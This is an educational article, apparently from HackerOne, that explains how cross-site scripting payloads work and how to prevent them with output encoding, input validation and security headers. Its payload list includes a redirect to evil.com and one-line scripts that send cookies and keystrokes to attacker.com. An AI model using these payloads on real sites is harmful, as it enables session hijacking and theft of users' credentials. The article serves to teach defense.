

How XSS Payloads Work with Code Examples, and How to Prevent Them

What Is an XSS Payload?

XSS is a type of web security vulnerability that allows an attacker to inject malicious code into a website viewed by other users. XSS attacks are a serious threat to web security and can have significant consequences for both users and organizations.

The injected code (the payload) can be used to steal sensitive information from the users, such as their cookies or login credentials, or to perform actions on behalf of the user, such as posting comments or making purchases. XSS payloads can range from simple scripts that display a pop-up message to more complex attacks that steal sensitive information or take control of the user's browser.

There are two main types of XSS attacks: stored and reflected. In a stored XSS attack, the payload is permanently stored on the target website and executed every time a user views the affected page. In a reflected XSS attack, the payload is sent to the target website in a request and executed when the response is sent back to the user.

This is part of a series of articles about [cybersecurity attacks](#).

How XSS Payloads Work

XSS payloads exploit vulnerabilities in web applications that allow untrusted data (such as user input) to be executed as code in the client's browser. When a web application does not properly validate or sanitize user input, an attacker can craft a payload that includes malicious code and inject it into a web page through an XSS vulnerability.

Once the payload is injected into the web page, it is executed in the browser of any user who visits the compromised page. The exact behavior of an XSS payload depends on the payload itself and the specific vulnerability it is exploiting. However, some common actions performed by XSS payloads include:

- **Stealing sensitive information:** XSS payloads can be used to steal sensitive information such as passwords, credit card numbers, and other sensitive data.
- **Modifying web page contents:** XSS payloads can modify the contents of a web page to display misleading or false information, or to inject malicious advertisements.
- **Redirecting users to phishing sites:** XSS payloads can redirect users to phishing sites, tricking them into entering their sensitive information.
- **Performing malicious actions in the user's name:** XSS payloads can perform actions on behalf of the user, such as posting malicious comments or liking inappropriate content.

List of Common XSS Payloads

Here is a list of common XSS payloads with a brief explanation of each:

Alert Box

A simple payload that displays a pop-up message to the user. This can be used to test for XSS vulnerabilities or as a proof of concept for more advanced attacks.

Code example: `<script>alert("XSS")</script>`

Redirection

A payload that redirects the user to another page, often a phishing site or a page controlled by the attacker.

Code example: `<script>window.location.href="https://evil.com"</script>`

Cookie Theft

A payload that steals the user's cookie and sends it to an attacker's server. This can be used to hijack the user's session or steal sensitive information stored in the cookie.

Note: All modern browsers implement security features to counter this.

Code example:

```
<script>new Image().src="https://attacker.com/cookie.php?
cookie="+document.cookie</script>
```

Keystroke Logging

A payload that logs the user's keystrokes and sends them to an attacker's server. This can be used to steal sensitive information such as passwords or credit card numbers.

Note: All modern browsers implement security features to counter this.

Code example:

```
<script>document.onkeypress = function(e) { new Image().src =  
"https://attacker.com/keylog.php?k=" + e.keyCode; }</script>
```

Form Hijacking

A payload that intercepts and changes form data before it is submitted. This can be used to steal sensitive information or to modify the contents of a web page.

Code example:

```
<script>document.forms[0].onsubmit = function()  
{document.forms[0].elements[0].value="hacked";}</script>
```

How Can You Prevent Cross-Site Scripting Payload Attacks?

To prevent XSS payload attacks, you can implement the following security measures:

Output Encoding

Output encoding is a technique used to ensure that user-supplied data is safe to be displayed on a web page. This is achieved by converting potentially dangerous characters or sequences into a harmless format before they are displayed on the page.

For example, angle brackets (< and >) are often used in XSS attacks to inject malicious code into a page, so output encoding would convert these characters into their HTML-encoded equivalents to prevent the browser from interpreting them as HTML tags.

Output encoding helps prevent XSS attacks by ensuring that user-supplied data is not executed as code, but rather is displayed as plain text. This makes it difficult for attackers to inject malicious code into a web page.

However, output encoding is context-sensitive, meaning that the encoding technique used will depend on the location within the HTML document where the user-supplied data is being displayed. For example, encoding should be different when displaying user data within an

HTML attribute compared to when it is being displayed within the body of the HTML document.

Avoid Inserting Untrusted Data Except in Allowed Locations

This involves only inserting user input into specific, trusted locations within a web page, such as within a text box or a text area, and not into the HTML body, JavaScript code, or HTML attributes. It helps prevent XSS attacks by limiting the scope of where malicious payloads can be executed.

By only inserting user-supplied data into trusted locations, you reduce the attack surface of your web page and make it more difficult for an attacker to inject malicious code. However, there may be cases where user-supplied data needs to be displayed in other parts of the web page, such as within the HTML body or JavaScript code. In these cases, it is essential to properly encode the data to ensure that it is safe to be displayed.

Implement Input Validation

Input validation is a technique used to ensure that user-supplied data is safe to process and use. This is achieved by checking the user input for malicious content before it is processed by the web application.

Input validation can include checks for minimum and maximum length, invalid characters, and known dangerous strings or patterns. For example, you can check that user-supplied data does not contain characters that are commonly used in XSS attacks, such as angle brackets (< and >) or the JavaScript string "script".

Use Security Headers

Security headers are HTTP response headers that are sent by a web server to a client's browser to provide additional security measures for the web page. These headers provide instructions to the browser on how to handle certain types of requests and content, and can help prevent XSS and other types of attacks.

Examples of security headers include:

- **X-XSS-Protection:** This header enables the browser's built-in XSS protection mechanism and provides an additional layer of defense against XSS attacks.
- **Content-Security-Policy:** This header allows you to specify which sources of content are allowed to be loaded by the browser, helping to prevent XSS and other types of

attacks.

- **X-Content-Type-Options:** This header prevents browsers from interpreting files as a different MIME type, which can help to prevent XSS attacks that leverage MIME confusion.
- **Strict-Transport-Security:** This header enforces the use of HTTPS for a specified period of time, helping to prevent attacks that exploit insecure connections.

By using security headers, you can help to improve the security of your web pages and prevent XSS and other types of attacks. It is important to regularly review and update your security headers to ensure that they are effective against new threats.

XSS Prevention with HackerOne

Vulnerability hunting by ethical hackers will find many of the application flaws used to deliver XSS exploits. The HackerOne Attack Resistance platform delivers continuous, proactive application security, with immediate access to security experts who approach your attack surface from an adversarial point of view, to find weaknesses before cyber criminals do.

[Learn more about HackerOne](#)

Company

Leadership

Careers

Partners

Newsroom

Contact Us

Knowledge

Center

Application Security

Penetration Testing

Cloud Security

Hacking

Cybersecurity

Attacks

DevSecOps

Resources

Blog

Documentation

Leaderboard

Partner Portal

Resources

Contacted
by a
hacker?



Trust